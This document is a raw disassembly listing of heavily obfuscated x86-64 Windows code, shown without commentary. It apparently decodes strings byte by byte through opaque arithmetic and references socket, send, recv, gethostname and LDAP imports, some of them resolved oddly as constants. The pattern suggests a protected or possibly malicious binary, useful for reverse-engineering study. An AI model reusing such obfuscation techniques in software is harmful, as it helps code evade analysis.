lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400be03a
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400be2a4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400be242
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400be203
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400be1d8
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bde80
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400be1a7
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400be187
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400be168
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400be148
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400be125
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400be106
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400be0e0
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400be0b7
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400be098
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bde80
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 4]
jmp 0x1400bde80
lea edx, [r11 - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400bde70
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400bde10
sub r11b, 0x7a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400bddb0
lea edx, [r11 - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400be782
sub r11b, 4
movzx eax, bl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bdd93
add r11b, 0x68
movzx eax, bl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400bdd93
lea edx, [r11 - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400be723
add r11b, 0x40
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
add r8, r9
jmp 0x1400be7ec
sub r11b, 0x54
movzx eax, bl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400be7ec
lea edx, [r11 + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400be6a2
sub r11b, 0x7c
movzx eax, bl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400be6cc
sub r11b, 0x10
movzx eax, bl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
sub r11b, 2
movzx eax, r11b
and al, bl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x620], r10b
inc rdi
jmp 0x1400bdd93
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x28
jb 0x1400be1f3
lea edx, [r11 + 0x7c]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400be782
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 1
jae 0x1400be62c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400be5b1
add r11b, 0x48
movzx eax, bl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
lea edx, [r11 + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x1400be64d
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400be50a
lea edx, [r11 + 0x22]
movzx eax, dl
and al, bl
mov ecx, 9
jmp 0x1400be250
add r11b, 0x6c
movzx eax, r11b
and al, bl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400be81b
sub r11b, 0x28
movzx eax, r11b
and al, bl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400be6cc
lea edx, [r11 + 0x44]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be6a2
sub r11b, 0x50
movzx eax, r11b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400be7e9
add r11b, 0x1c
movzx eax, r11b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
add r8, r9
jmp 0x1400be7ec
lea edx, [r11 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400be723
sub r11b, 0xc
movzx eax, r11b
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400bdd93
add r11b, 0x60
movzx eax, r11b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400bdd93
lea edx, [r11 - 0x34]
mov ecx, gethostname
jmp 0x1400be771
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be420
lea edx, [r11 - 0x36]
movzx eax, dl
and al, bl
mov ecx, 0x3d
jmp 0x1400be2b2
jne 0x1400be43f
add r11b, 0x24
movzx eax, r11b
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400be81b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400be462
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
jmp 0x1400be6a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400be48a
add r11b, 0x74
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x2c
add r8, r9
jmp 0x1400be7ec
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400be4ad
lea ecx, [r11 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x1400be723
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400be4d8
sub r11b, 0x64
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x44
dec rdi
inc rdi
jmp 0x1400bdd93
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400be2be
add r11b, 0x30
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x1400bdd93
jne 0x1400be52b
lea edx, [r11 - 0x4a]
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400be782
inc rax
cmp r8, rax
jne 0x1400be551
lea edx, [r11 + 0x72]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1e
add r10b, dl
jmp 0x1400be723
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400be578
lea edx, [r11 + 0x2e]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x42
add r10b, dl
jmp 0x1400be6a2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400be25c
add r11b, 0x56
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x5a
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
inc rax
cmp r8, rax
jne 0x1400be5d7
lea edx, [r11 + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400be6a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400be5fe
lea edx, [r11 + 0x2c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400be723
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400be21d
sub r11b, 0x40
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x1400bdd93
lea edx, [r11 + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x70
add r10b, dl
add r10b, bl
jmp 0x1400be723
lea ecx, [r11 - 0x5c]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r10d, [rcx - 0x7c]
jmp 0x1400be6a2
sub r11b, 0x3a
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x6a
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x52
add r11b, 0x6e
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 2
add r11b, bl
movzx eax, r11b
mov byte [rbp + rdi + 0x620], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x620], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
sub r11b, 0x26
movzx eax, r11b
and al, bl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x620], cl
add r8, r9
jmp 0x1400be7ec
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xa
jmp 0x1400be782
movzx r11d, dil
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
add r11b, 0x46
movzx eax, r11b
and al, bl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x620], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bdd93
lea edx, [rdi - 0x2a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x1400bdd93
lea rax, [rdi + r15]
and sil, al
mov ecx, Ordinal_41
sub cl, sil
lea r10d, [rcx + rcx]
add r10b, al
add r10b, bl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bdd93
lea rax, [rdi + r12]
and sil, al
mov ecx, gethostname
sub cl, sil
lea r10d, [rcx + rcx]
add r10b, al
add r10b, bl
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bdd93
sub r11b, 0xe
movzx eax, bl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400bdd90
add r11b, 0x5e
movzx eax, bl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x1400bdd80
lea rdx, [rbp + 0x17939d8]
jmp 0x1400be88d
lea rdx, [rbp + 0xd33ba2]
jmp 0x1400be88d
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x958]
call fcn.1400042b0
nop
movzx eax, word [0x1401b3050]
sub al, 0x73
xor al, 0xcb
mov byte [rbp + 0x1a8], al
movzx eax, byte [0x1401b3051]
sub al, 0x73
xor al, 0xcc
mov byte [rbp + 0x1a9], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1aa], xmm0
movups xmmword [rbp + 0x1ba], xmm0
mov byte [rbp + 0x1ca], al
movabs rsi, 0x8427bb81bf0605cb
movabs r14, 0xa565978fb7363423
movabs r15, 0x8c7732853d121161
movzx edx, byte [rsp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rbx, r13
cmp rbx, 0x23
jae 0x1400bf445
movzx r11d, byte [rbp + rbx + 0x1a8]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400bf43c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be95b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x73
jmp 0x1400be9a1
je 0x1400bf3d1
inc rax
cmp r8, rax
je 0x1400bf3a5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf38c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bf36d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf34b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bf305
movzx r10d, bl
cmp r9, rbx
ja 0x1400bf433
lea rcx, [r9 + 6]
cmp r8, rcx
jae 0x1400be9ce
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6f
jmp 0x1400bea10
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bf2ee
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bf2cc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf2b0
cmp r8, rcx
je 0x1400bf230
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf203
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400bef0b
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400beeee
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400beec5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bee9f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bee85
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bee62
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bee46
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bee2c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bee10
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bede3
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bea20
lea r8, [r9 + 6]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bf417
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bf3fb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bebeb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bebd1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bebb7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bed99
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bed53
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bed1b
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400becf5
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bea20
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x400]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400becc4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400beca4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bec85
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bec6b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400bec49
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400bec24
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bec07
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bea20
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
jmp 0x1400bea20
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x71
jmp 0x1400bea10
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x75
jmp 0x1400be9a5
add r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5b
jmp 0x1400be930
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf31e
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x1400be913
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x1400be913
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3a
jmp 0x1400bf1c6
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
add r8, r9
jmp 0x1400bf3b9
add r10b, 0x1e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bf270
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
sub r10b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 9
mov byte [rbp + rbx + 0x1a8], dl
inc rbx
jmp 0x1400be913
lea ecx, [r10 - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
cmp r9, 6
jb 0x1400bed0c
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x5c]
jmp 0x1400bf31e
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
cmp r8, 5
jae 0x1400bf1ae
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400bf0a0
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
jmp 0x1400bed30
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x57
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400bf1f0
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400bf00c
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x67
jmp 0x1400bed68
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
add r10b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
jmp 0x1400bf270
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
jmp 0x1400bf245
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400bf3b9
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bf3b9
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400bf1c3
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400be913
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400be913
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf31e
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400bef2e
lea ecx, [r10 - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x73
jmp 0x1400bedae
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bef64
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x22
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bef87
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x56
jmp 0x1400bf245
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400befb3
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bf3b9
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400befe2
sub r10b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400be913
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bedae
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf31e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf02f
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4d
jmp 0x1400bf31e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bf054
sub r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x35
jmp 0x1400bf3b9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf077
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4f
jmp 0x1400bf245
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bed68
add r10b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x69
jmp 0x1400bf270
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf0d6
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
inc rax
cmp r8, rax
jne 0x1400bf0fa
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5e
jmp 0x1400bf270
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf11d
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400bf245
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf149
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400bf3b9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf178
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400be913
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bed30
sub r10b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400be913
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
add dl, r11b
add r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x2b
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x1a8], r10b
add r8, r9
jmp 0x1400bf3b9
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x62]
jmp 0x1400bf245
sub r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7b
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x47
sub r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x11
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x1a8], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov byte [rbp + rbx + 0x1a8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
add r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2d
jmp 0x1400bf3b9
add r10b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x21
dec rbx
inc rbx
jmp 0x1400be913
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x55
jmp 0x1400bf31e
movzx r10d, bl
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x77
sub r10b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x45
add r10b, r11b
mov byte [rbp + rbx + 0x1a8], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400be913
lea ecx, [rbx + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5d
inc r9
dec rbx
inc rbx
